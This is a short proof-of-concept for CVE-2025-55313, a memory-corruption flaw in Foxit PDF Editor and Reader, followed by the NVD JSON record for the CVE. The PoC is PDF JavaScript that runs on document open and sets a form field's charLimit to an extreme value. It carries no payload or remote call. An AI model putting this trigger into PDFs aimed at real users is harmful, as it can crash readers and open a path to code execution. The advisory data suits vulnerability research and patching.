CVE-2025-55313

// CVE-2025-55313 PoC - Foxit PDF Editor Memory Corruption // This PoC demonstrates setting an extremely large charLimit value // that can lead to memory corruption and potential RCE function triggerVulnerability() { try { // Get the first form field in the PDF var field = this.getField("targetField"); if (field != null) { // Set an extremely large charLimit value // This causes memory allocation failure and corruption field.setAttribute("charLimit", 9999999999999); console.println("Vulnerability triggered: charLimit set to extreme value"); } } catch (e) { console.println("Error: " + e.message); } } // Execute when PDF is opened triggerVulnerability(); // Alternative method using direct property assignment this.getField("targetField").charLimit = Number.MAX_VALUE;

{"cve": {"id": "CVE-2025-55313", "sourceIdentifier": "[email protected]", "published": "2025-12-11T16:16:25.780", "lastModified": "2025-12-18T21:33:58.230", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Foxit PDF and Editor for Windows and macOS before 13.2 and 2025 before 2025.2. They allow potential arbitrary code execution when processing crafted PDF files. The vulnerability stems from insufficient handling of memory allocation failures after assigning an extremely large value to a form field's charLimit property via JavaScript. This can result in memory corruption and may allow an attacker to execute arbitrary code by persuading a user to open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.15510", "versionEndIncluding": "2023.3.0.23028", "matchCriteriaId": "0C75FEE6-54F3-49C6-BAEA-A09D23BE5D64"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.23997", "versionEndIncluding": "2024.4.1.27687", "matchCriteriaId": "2C06BC41-9831-4AE3-B10B-3FC313D01580"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:2025.1.0.27937:*:*:*:*:*:*:*", "matchCriteriaId": "9FDC914F-B999-4233-8BEA-CA20B1F0D9D3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.1.0.27937", "matchCriteriaId": "DB827B5A-9957-43B2-A633-EF5442A2EF35"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.1.7.63027", "matchCriteriaId": "D4EDFD47-2811-431C-8535-91EE4090A9A8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.55583", "versionEndIncluding": "2023.3.0.63083", "matchCriteriaId": "D8785CCE-C44C-4908-9133-13A580D5BECB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.63682", "versionEndIncluding": "2024.4.1.66479", "matchCriteriaId": "CF043D20-0E28-481C-8756-D1301FAE67D2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:2025.1.0.66692:*:*:*:*:*:*:*", "matchCriteriaId": "E0FF839F-37E7-4AFA-85B1-FC98366B14E8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.1.0.66692", "matchCriteriaId": "6520861F-4458-4E63-AA62-CF3096AE0C41"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://www.foxit.com/support/security-bulletins.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}